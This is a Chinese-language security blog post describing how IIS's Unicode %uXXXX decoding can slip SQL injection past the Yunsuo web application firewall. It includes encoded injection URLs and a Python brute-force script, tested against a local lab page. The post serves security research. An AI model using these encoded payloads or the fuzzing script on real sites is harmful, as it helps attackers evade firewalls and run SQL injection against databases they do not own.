一个有意思的通用windows防火墙bypass(云锁为例)
1:之前自己总结了一个帖子,内容上将waf bypass分了几个层面,其中有一个层面是web服务器层面,记得在内容上提到了iis服务器的一些trick
2:IIS在对%u0011形式的内容的时候,是可以解析的,例如我的url为:
http://192.168.15.130/letmetest.asp?t=152522098 and(select top 1 eventname_en from eventshelp)>0
我将url编码为:
http://192.168.15.130/letmetest.asp?t=152522098 and(s%u0065lect top 1 eventname_en from eventshelp)>0
s%u0065lect的形式的时候也会被iis解析为select
3:于是我先在本地搭建了一个云锁的环境,iis版本,本机使用了windows2003的环境,
并且创建了一个有漏洞的页面http://192.168.15.130/letmetest.asp
4:我先用以上方式去访问 %u0065的方式,此时发现云锁此种情况过滤了.
5:此时正题来了,
奇葩的想法是这里应该%uxxxx可以填写65535次个字符,会不会有不同国家的编码select对应解析出来成为ascii的select阿![事后发现是多傻吊的想法]
6:自己写了个代码:
import httplib
import re
url = '192.168.15.130'
payload = '/letmetest.asp?t=152522098/**/%u00aand(s%u'
for i in range(65536):
result = hex(i).replace('0x','')
if len(result)<4:
c = 4-len(result)
b = '0'*c
zz = b + hex(i).replace('0x','')
else:
zz = hex(i).replace('0x','')
test = '%slect/**/count(*)/**/from/**/eventshelp)>0' % zz
conn = httplib.HTTPConnection(url)
try:
conn.request('GET',payload+test)
res = conn.getresponse().read()
if re.search('Acunetix',res):
print 'test char:char(%s)' % zz
except:
pass
代码有点搓,大致的想法就是测试select中e的字母能否被%u的其他字符替代。 7:测试结果: 我擦竟然有一个字符%u00f0被当成e字符了,我输入s%u00f0lect 被iis解析滞后成了select 貌似这样绕过了云锁的防御。 8:我使用%u0065访问,直接被云锁干掉了 9:我使用%u0095访问,直接报错注入,出来内容了 注意图片中的and中的a,也被我用同样的方式处理了。
10:擦 难道真的和我说的一样,我还是太天真了,之前吊死的想法往往最后通过查资料都证明自己二了,查阅了一段时间的资料之后搜索到一片文章。
http://blog.sina.com.cn/s/blog_85e506df0102vo9s.html
写的是一篇IIS的新UNICODE漏洞WideChar和MultiByte字符转换问题,貌似是大牛yuange写的,前面竟然写的是2002年。
11: 看了半天,查阅了其他一些资料大致意思应该是我们传入的是widechar,widechar iis可以处理,会被转换。这里转换的时候会出现一个问题。
多个widechar会有可能转换为同一个字符。
12:我测试了一下发现有些字符是会出现的,有些就不会出现多个转换成一个的情况,但是对于检测来说,往往只需要一个字符,即可达到绕过规则的目的。
13:这种类型的问题一般都会有通用型,web服务器特性导致的绕过一般影响面是比较广的。
尤其是那种云waf或则硬件waf,而且不仅仅是影响注入,其他的防御也会受到影响。